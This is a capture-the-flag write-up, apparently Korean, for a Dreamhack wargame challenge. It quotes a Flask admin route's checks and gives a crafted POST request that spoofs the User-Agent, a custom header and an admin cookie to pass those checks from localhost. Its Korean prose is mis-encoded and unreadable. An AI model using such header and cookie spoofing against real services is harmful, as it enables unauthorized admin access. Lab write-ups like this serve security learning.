1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/13
2. ํด๊ฒฐ ๊ณผ์
์ฝ๋๋ฅผ ํ์ธํด๋ณด๋ฉด
127.0.01 ๋ก์ปฌํธ์คํธ์ผ ๊ฒฝ์ฐ์๋ง admin ์ ๊ทผ์ ํ๋ฝํ๋ค.
์ฆ, Burp suite๋ฅผ ์ด์ฉํด์ ์กฐ์ํ ์ ์์ ๊ฒ์ด๋ค.
@app.route('/admin', methods=['POST'])
def admin():
if request.remote_addr != '127.0.0.1':
return 'Only localhost'
if request.headers.get('User-Agent') != 'Admin Browser':
return 'Only Admin Browser'
if request.headers.get('DreamhackUser') != 'admin':
return 'Only Admin'
if request.cookies.get('admin') != 'true':
return 'Admin Cookie'
if request.form.get('userid') != 'admin':
return 'Admin id'
๋ฐ๋ผ์ socket sender์์ ์ง์ ๋ฐ์ดํฐ๋ฅผ ์ ๋ ฅํด์ POST ์์ฒญ์ ๋ณด๋ด ๋ก์ปฌํธ์คํธ์ ์ฐ๊ฒฐํด์ฃผ์ด์ผ ํ๋ค.
if๋ฌธ์ ๋ง์ถฐ ๋ด์ฉ์ ์ ๋ ฅํด์ค๋ค.
์ด ๋, ์์ฒญ ๋ณธ๋ฌธ(form data)์ userid=admin์ด ํฌํจ๋์ด์ผ ํ๋ค.
๋ฐ๋ผ์, Content Length = 12๋ก ์ธํ ํด์ฃผ๊ณ , Content-type= application/x-www-form-urlencoded ๋ก ์ ๋ ฅํด์ฃผ์๋ค.
- text/html: HTML ๋ฌธ์
- text/plain: ์ผ๋ฐ ํ ์คํธ
- application/json: JSON ๋ฐ์ดํฐ ํ์
- application/xml: XML ๋ฐ์ดํฐ
- multipart/form-data: ์ฌ๋ฌ ํํธ๋ก ์ด๋ฃจ์ด์ง ํผ ๋ฐ์ดํฐ, ํ์ผ ์ ๋ก๋์ ์ฃผ๋ก ์ฌ์ฉ
- application/x-www-form-urlencoded: ์น ํผ์์ ์ ๋ ฅ๋ ๋ฐ์ดํฐ๊ฐ ์ธ์ฝ๋ฉ๋ ํํ
if request.form.get('userid') != 'admin':
return 'Admin id'
POST /admin HTTP/1.1
User-Agent:Admin Browser
DreamhackUser:admin
Cookie:admin=true
Content-Type: application/x-www-form-urlencoded
Content-Length:12
userid=admin
์ฑ๊ณต